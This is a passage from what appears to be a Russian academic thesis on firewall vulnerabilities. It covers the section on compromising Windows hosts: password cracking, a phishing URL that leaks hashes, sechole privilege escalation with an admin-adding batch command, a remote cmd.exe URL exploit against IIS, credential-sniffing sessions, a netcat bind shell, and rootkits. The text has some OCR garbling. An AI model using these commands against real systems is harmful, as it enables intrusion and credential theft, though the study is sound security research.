- •Введение
- •1 Анализ основных типов мэ и способов их применения
- •1.1 Типы межсетевых экранов
- •1.1.1 Фильтры пакетов
- •1.1.2 Фильтры пакетов с контекстной проверкой
- •1.1.3 Сервер уровня соединения
- •1.1.4 Серверы прикладного уровня
- •1.2 Способы применения межсетевых экранов
- •1.Стандартные схемы защиты отдельной локальной сети.
- •1.2.1 Стандартные схемы защиты отдельной локальной сети
- •1.2.2 Применение в составе средств коллективной защиты
- •1.3 Персональные межсетевые экраны
- •1.4 Обобщенная концепция применения межсетевых экранов
- •1.5 Обзор персональных межсетевых экранов, доступных на рынке
- •2 Классификация уязвимостей сетевых экранов, создающих предпосылки их компрометации
- •2.1 Уязвимости сетевых протоколов
- •2.1.1 Снифферы пакетов
- •2.1.2 Уязвимость маршрутизации от источника
- •2.1.4 Атаки типа “отказ в обслуживании”
- •2.1.5 Атаки syn flood
- •2.1.6 Атака Smurf
- •2.1.7 Атака Tribe Flood Network
- •2.1.8 Атака WinFreeze.
- •2.1.9 Атака Loki.
- •2.1.10 Arp атаки
- •2.1.11 Фрагментация
- •2.2 Уязвимости операционных систем
- •2.2.1 Получение прав другого пользователя
- •2.2.2 Нелегальное подключение к системе
- •2.2.3 Человеческий фактор
- •2.2.4 Совместимость с другими операционными системами
- •2.2.5 Парольные атаки
- •2.2.6 Вирусы и приложения типа "троянский конь"
- •2.3 Уязвимости программной реализации сетевых экранов
- •2.3.1 Атаки через туннели в межсетевом экране
- •2.3.2 Атаки вследствие неправильной конфигурации межсетевого экрана
- •2.3.3 Атаки осуществляемые в обход межсетевого экрана
- •2.3.4 Атаки осуществляемые из доверенных узлов и сетей
- •2.3.5 Атаки путем подмены адреса источника
- •2.3.6 Атаки на сам межсетевой экран
- •2.3.7 Атаки на подсистему аутентификации межсетевого экрана
- •2.4 Выводы
- •3 Исследование архитектуры и функционирования мэ на примере предложенного по
- •3.1 Исследование механизмов взаимодействия средств сетевой безопасности с операционной системой
- •3.1.1 Подходы к организации фильтрования трафика в ос Windows
- •3.3 Выводы
- •4 Разработка алгоритмов для проверки уязвимостей средств сетевой безопасности
- •4.1 Обобщённый алгоритм воздействия на средства сетевой безопасности
- •4.3.2.1 Инвентаризация Windows nt/2000/xp
- •4.3.2.3 Инвентаризация unix
- •4.3.3 Проникновение в сеть и захват контроля над хостом
- •4.3.3.1 Взлом хоста с ос Windows
- •4.3.3.2 Взлом хоста с ос Unix
- •4.4 Разработка алгоритмов воздействия на средства сетевой защиты изнутри защищенной сети
- •4.4.1 «Инъекции» кода
- •4.4.2 Использование виртуальной машины
- •4.4.3 Использование уязвимостей ActiveX
- •4.5 Разработка алгоритмов, основанных на уязвимостях механизма взаимодействия средств сетевой безопасности с операционной системой
- •4.6 Разработка алгоритмов установления соединения с компьютером, защищенным межсетевым экраном, персональным сетевым экраном и несколькими сетевыми экранами
- •4.6.1 Http-тунелирование
- •4.6.2 Icmp-тунелирование
- •4.6.4 Pcap-тунелирование
- •4.7 Выводы
4.3.3 Проникновение в сеть и захват контроля над хостом
Необходимо отметить, что одними из наиболее распространённых способов проникновения является атака на сетевые приложения, такие, например, как Web-сервера. Описать все способы, основанные на взломе приложений, в рамках данной работы не представляется возможным, поэтому остановимся на уровне операционной системы. Подробно же эти средства проникновения рассматриваются в [7,8].
4.3.3.1 Взлом хоста с ос Windows
Далее рассмотрим некоторые методы удалённого проникновения и локального получения/расширения привелегий.
Взлом паролей
Подбор паролей при помощи l0phtcrack
Утилита l0phtcrack предназначена для подбора паролей, и обычно используется для автономного взлома перехваченной базы данных паролей, т.е. без соединения с сервером. Такой подход позволяет, во-первых, не беспокоиться о возможной блокировке учетных записей при попытках подбора пароля, а во-вторых, организовать перебор сколь угодно большого количества вариантов.
В l0phtcrack имеется функция SMB Packet Capture. С использованием этой функции можно обойтись без перехвата файла паролей, а вместо этого прослушать локальный сегмент сети, перехватить запросы на регистрацию, которыми обмениваются системы, а затем выбрать из них информацию о зашифрованных паролях. Затем выполняется алгоритм расшифровки, обратный тому, который используется при шифровании паролей в системе.
Из заголовка пакета утилита l0phtcrack получает только сам запрос и запрос, закодированный с помощью хэш-кода пароля. Затем выполняется кодирование известного значения запроса с помощью случайно генерируемых строк и результат сравнивается с полученным зашифрованным значением запроса. Эта процедура повторяется до тех пор, пока не будет найдена случайная строка, для которой результаты окажутся идентичными [9].
Один из способов использования утилиты заключается в следующем. Отправьте выбранной жертве почтовое сообщение (неважно, на личный адрес или же на общий адрес компании). В текст письма включите адрес URL в форме file:////ваш_компьютер/имя_совместно_ используемого_ресурса/сообщение.html. Как только получатель щелкнет на этом URL, его хэшированный пароль сразу же будет отправлен по заранее введённому адресу для аутентификации.
Одной из сильных сторон утилиты LOphtcrack является возможность извлекать хэш-коды паролей прямо из SMB-пакетов, передаваемых по сети.
Johntheripper
John — это программа взлома паролей с использованием словаря [10]. Первоначально эта утилита командной строки была создана для взлома файлов паролей системы UNIX, а теперь ее можно использовать для подбора хэш-кодов LanMan системы Windows. Помимо того, что John совместима с несколькими платформами и позволяет применять несколько разных алгоритмов шифрования, эта утилита отличается также высокой скоростью работы. Утилита John может взламывать лишь пароли LanMan, то полученные результаты необходимо проверять на соответствие прописных и строчных букв (пароли LanMan всегда переводятся в верхний регистр, тогда как в паролях Windows используются как прописные, так и строчные буквы).
Удаленное переполнение буфера
С точки зрения удаленного проникновения самые тяжелые последствия способна вызвать ошибка переполнения буфера (buffer overflow). Переполнение буфера возникает тогда, когда программы не способны адекватно отслеживать длину вводимых данных. В таких случаях избыточные данные записываются поверх части стека центрального процессора. Если это произойдет не случайно, а в результате передачи в качестве избыточных данных соответствующих команд, то новый код может привести к выполнению операций, подобранных программистом [11].
Переполнение буфера можно отнести к одному из двух основных классов: удаленное и локальное. Для достижения локального переполнения требуется доступ к консоли, и его обычно могут осуществить лишь интерактивные пользователи. Удаленное переполнение буфера является гораздо более опасным. Такой возможностью могут воспользоваться взломщики, имеющие нулевые привилегии на целевом компьютере и находящиеся на любом узле сети. Как правило, удаленное переполнение буфера связано с размещением на целевой системе "полезного груза" (т.е. кода, помещенного в стек центрального процессора).
Расширение привилегий
Если попытка подбора пароля увенчалась успехом, то в руках взломщика оказывается, обычно, регистрационное имя и связанный с ним пароль пользователя, не имеющего прав администратора.
Далее взломщик должен озаботиться расширением полномочий учетной записи обычного пользователя до уровня учетной записи Administrator.
Утилита sechole
Утилита sechole добавтяет текущего пользователя в локальную группу администраторов. Sechole модифицирует в оперативной памяти код вызова процедуры OpenProcess, и это позволяет ей успешно подключаться к привилегированному процессу, независимо от того, имеет ли она для этого соответствующие разрешения. После успешного подключения она выполняет код внутри процесса-носителя, и добавляет текущего пользователя в указанную группу Administrators [12].
Утилита sechole должна быть запущена локально. Однако, если на целевом узле запущен сервер IIS и, кроме этого, выполняются и некоторые дополнительные условия, sechole можно запустить и удаленно, добавив используемую по умолчанию учетную запись пользователя Internet и имя машины в группу Administrators или Domain Admins.
Удаленный запуск утилиты sechole
Успешность такой атаки зависит от того, существует ли каталог US-сервера, доступный для записи и запуска программ. Microsoft "предоставляет" много каталогов с такими разрешениями, используемыми по умолчанию.
Виртуальные каталоги сервера IIS помечены как доступные для выполнения. Соответствующие им физические каталоги по умолчанию имеют разрешения Read, Write, Execute и Delete (RWXD).
После анализа заданных по умолчанию разрешений становится очевидно, что сервером может быть выполнен любой ложный исполняемый файл, расположенный в любом из этих каталогов. У взломщика имеется лишь одно препятствие: удаленно поместить в какой-либо из этих каталогов требуемый исполняемый файл.
Для этих целей можно воспользоваться открытыми для совместного использования разделами жесткого диска, организованными каталогами FTP, часто перекрывающими виртуальные каталоги. Для решения поставленной задачи можно воспользоваться также недостаточно защищенными командами удаленного управления (например, telnet), методами PUT протокола HTTP или средствами авторизации в Web, предоставляемыми приложением FrontPage.
Взломщик загружает утилиту sechole и связанные с ней библиотеки DLL в один из каталогов. Поскольку эта программа запускается из командной строки, то необходимо поместить в тот же каталог и командный интерпретатор cmd.exe.
Утилита sechole добавляет пользователя в локальную или доменную группу администраторов. Если же она была запущена посредством Web-броузера, то в группу администраторов будет добавлена учетная запись IURS_имя_машины. Этой учетной записи назначается случайный пароль, который придется подбирать при удаленной регистрации. Создать новую учетную запись пользователя с паролем, который выбрал сам взломщик, в группе администраторов, можно с помощью встроенной команды net localgroup. Надо создать простой командный файл (например, с именем adduser.bat) со следующей строкой:
net user mallory qpensesame /add && net localgroup administrators mallory /add
После того как в требуемый каталог помещены утилита sechole, связанные с ней динамически подключаемые библиотеки, командный интерпретатор cmd.exe и файл adduser.bat, для его запуска взломщику достаточно ввести соответствующий адрес URL в Web-броузере, подключенном к удаленному компьютеру. В примере, показанном на Рис. 4.24, утилита sechole была помещена в виртуальный каталог /WSSVC/I/ROOT/SCRIPTS (и в физический каталог C:\inetpub\SCRiPTS), а затем запущена с помощью соответствующего адреса URL.
Рис. 4.24 - Взлом удаленной системы с помощью утилиты sechole
Д
алее
вместо того чтобы регистрироваться с
использованием учетной записи IUSR, пароль
которой пока неизвестен, взломщик
добавит нового пользователя с помощью
файла сценария adduser.bat, запущенного в
броузере с использованием следующего
сложного адреса URL.
http://192.168.202.154/scripts/cmd.exe?/c%20c:\inetpub\scripts\adduser.bat
Подстрока %20 интерпретируется Web-сервером как символ пробела, что приводит к преобразованию адреса URL в команду, которая выполнится на удаленном узле (команда cmd /с будет передавать команды, содержащиеся в файле adduser.bat, командной оболочке).
Теперь, когда учетная запись IUSR внесена в группу администраторов и добавлен новый пользователь с привилегиями администратора, взломщик стал "владельцем" Web-сервера.
Анализаторы сетевых пакетов
Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов дальнейшего проникновения в сеть после того, как взломщик получил доступ к одному узлу. В настоящее время имеется множество средств перехвата пакетов, в том числе один из самых знаменитых коммерческих наборов анализа протоколов Sniffer Pro от компании Network Associate [13].
В то же время очевидно, что графический интерфейс этих программ препятствует их применению в тех случаях, когда основным требованием является скрытность выполняемых действий и можно лишь удаленно воспользоваться командной строкой. Рассмотрим некоторые программы-анализаторы сетевых пакетов, которые можно установить удаленно и использовать из командной строки, а также несколько средств на базе интерфейса Win32.
BUTTSniffer
BUTTSniffer является динамически загружаемой программой.. Программа состоит из двух основных компонентов, BUTTSniff.exe и BUTTSniff.dll, каждый из которых можно переименовать. Для установки этих файлов достаточно просто загрузить их на целевой узел. Никаких дополнительных действий по установке не требуется. Запуск программы осуществляется из командной строки, в которой можно указать различные параметры. Параметр -1 позволяет получить список интерфейсов, доступных для перехвата пакетов. Есть возможность копирования всех захваченных данных в файл на жестком диске (для этого нужно не использовать параметры фильтрации), как показано в следующем примере.
D:\Toolbox\buttsniffer>buttsniff-1
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
# Interface Description
-----------------------
0 Remote Access Mac
[\Device\NDIS3Pkt_AsyncMac4] (no promise.)
1 3Com Megahertz FEM556B [\Device\NDIS3Pkt_FEM5567]
D:\Toolbox\buttsniffer>
buttsniff -d 1 D:\test\sniffl.txt p
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
Press Ctrl-C to stop logging...
Close requested
D:\Toolbox\buttsniffer>
cat D:\test\sniffl.txt
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Length: 13 Source Port: 3530
Target Port: 21 Seq: 001A145E
Ack: 6D968BEC
Flags: PA Window: 8711
TCP ChkSum: 6575 UrgPtr: 0
00000000: 55 53 45 52 20
67 65 6F 72 67 65 OD OA USER
ernie..
Source IP: 192.168.7.36
Target IP: 192.168.7.200
TCP Length: 17 Source Port: 3530
Target Port: 21 Seq: 001A146B
Ack: 6D968COF
Flags: PA Window: 8676
TCP ChkSum: 41325
UrgPtr: 0 00000000: 50 41 53 53 20 47 65
6F 72 67 65 30 30 31 3F OD
PASS bert.
00000010: OA
fsniff
Утилитой fsniff используется динамически загружаемый драйвер захвата пакетов (fsniff .sys), что значительно облегчает ее использование. Эта утилита выполняет автоматическую фильтрацию данных аутентификации, содержащихся в пакетах, как показано в следующем примере сеанса FTP.
С:\tmp>fsniff
fsniff vl.О - copyright2000 foundstone, inc.
driver activated
192.168.200.15 [4439] -> 172.16.23.45 [21] }
USER test PASS ralph
172.16.23.45 [21] -> 192.168.200.15 [4439] }
220 ftp.victim.net FTP server (Version wu-2.5.0(l)
Tue Sep 21 16:48:12
EOT 199
9) ready.
331 Password required for test.
530 Login incorrect.
packets received 27 - sniffed 10
Анализаторы пакетов Win32 на базе интерфейса WinPcap
Многие популярные программы-анализаторы UNIX, предназначенные для захвата пакетов на уровне пользователей, созданы на базе интерфейса libpcap, не зависящего от используемой платформы. Свободно распространяемая версия Win32 этого интерфейса, WinPcap, была разработана группой исследователей из политехнического университета Торино (Politecnico di Torino) [14]. Этот интерфейс предоставляет основу для создания некоторых средств перехвата сетевых пакетов. Однако их неудобно устанавливать на удаленном узле и использовать из командной строки. Кроме того, в отличие от динамически загружаемых утилит BUTTSniffer и fsniff, для активизации таких средств зачастую требуется перезагрузка.
WinDump
Эта утилита, являющаяся аналогом утилиты tcpdump системы UNIX, написана авторами WinPcap. Как видно из приведенного ниже примера, эта утилита является простым средством перехвата пакетов, предоставляющим данные в необработанном виде:
D:\>windump
windump: listening on\Device\Packet_E159xl
01:06:05.818515 WKSTN.1044 >
CORP-DC.139: P 287217:287285(68) ack
3906909778 wi
n 7536 (DF) [tos 0x86]
01:06:05.818913 CORP-DC.139 >
WKSTN.1044: P 1:69(68) ack 68 win 16556
(DF)
01:06:05.825661 arp who-has
192.168.234.1 tell WKSTN
01:06:05.826221 arp reply
192.168.234.1 is-at 8:0:3d:14:47:d4
dsniff для Win32
Утилита dsniff является одним из самых лучших средств перехвата пакетов системы UNIX, предназначенных исключительно для получения паролей. Она была написана Дагом Сонгом (Dug Song) [15]. Утилита dsniff автоматически выявляет и подробно анализирует каждый протокол, сохраняя лишь часть уникальных данных, используемых при аутентификации.
В следующем примере утилита dsniff была использована для перехвата пакетов, передаваемых в процессе аутентификации по протоколу POP.
D:\dsniff>dsniff
07/31/00 17:16:34 С574308-А ->
mail.victim.net (pop)
USER johnboy
PASS goodnight
Удаленный доступ к командной оболочке с помощью netcat
Еще одним простым способом организации "тайного хода" в систему является применение утилиты netcat [16]. Утилиту netcat можно настроить на прослушивание определенного порта с последующим запуском исполняемой программы, если удаленная система подключается к данному порту. Настроив утилиту netcat на запуск интерпретатора командной строки, можно сделать так, чтобы этот интерпретатор запустился на удаленной системе. Синтаксис для запуска команды netcat в режиме скрытого прослушивания приведен в следующем примере.
Параметр -L позволяет восстанавливать разорванное соединение; -d активизирует режим скрытого прослушивания (т.е. без обмена информацией с консолью); -е позволяет задать запускаемую программу (в данном случае — интерпретатор командой строки cmd.exe); а -р указывает порт, который будет прослушиваться.
С:\TEMP\NC1lNT>nc -L -d -e and.exe -p 8080
Теперь любой хост, подключившийся к порту 8080, сможет на удаленном компьютере запустить интерпретатор командной строки. В следующем примере показано, как, подключившись к вышеуказанному порту рассматриваемого узла (192.168.202.44), получить удаленный доступ к интерпретатору командной строки. Для того чтобы устранить путаницу, в локальной системе используется приглашение D:\>, а в удаленной - С: \TEMP\NC11NТ>.
D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
С:\TEMP\NC11NT>
С:\TEMP\NC1lNT>ipconfig
ipconfig
Windows NT IP Configuration Ethernet adapter FEM5561:
IP Address. ........: 192.168.202.44
Subnet Mask ........: 255.255.255.0
Default Gateway ......: C:\TEMP\NCllNT>exit
D:\>
Таким образом, теперь удаленный пользователь может выполнять команды и запускать программы. Теперь судьба удаленного компьютера целиком и полностью зависит лишь от фантазии взломщика.
Наборы Rootkit
Rootkit способен выполнять сокрытие параметров системного реестра и "подмену" исполняемых файлов. Этот набор можно использовать в исполняемых файлах "троянских коней" без изменения их содержимого. Все эти трюки основываются на использовании перехвата функций (function hooking). Таким образом можно "модифицировать" ядро, в результате чего будут захвачены системные вызовы. С помощью набора "отмычек" можно скрыть процесс, параметр системного реестра или файл, а также перенаправить перехваченный вызов функциям "троянских коней" [17].
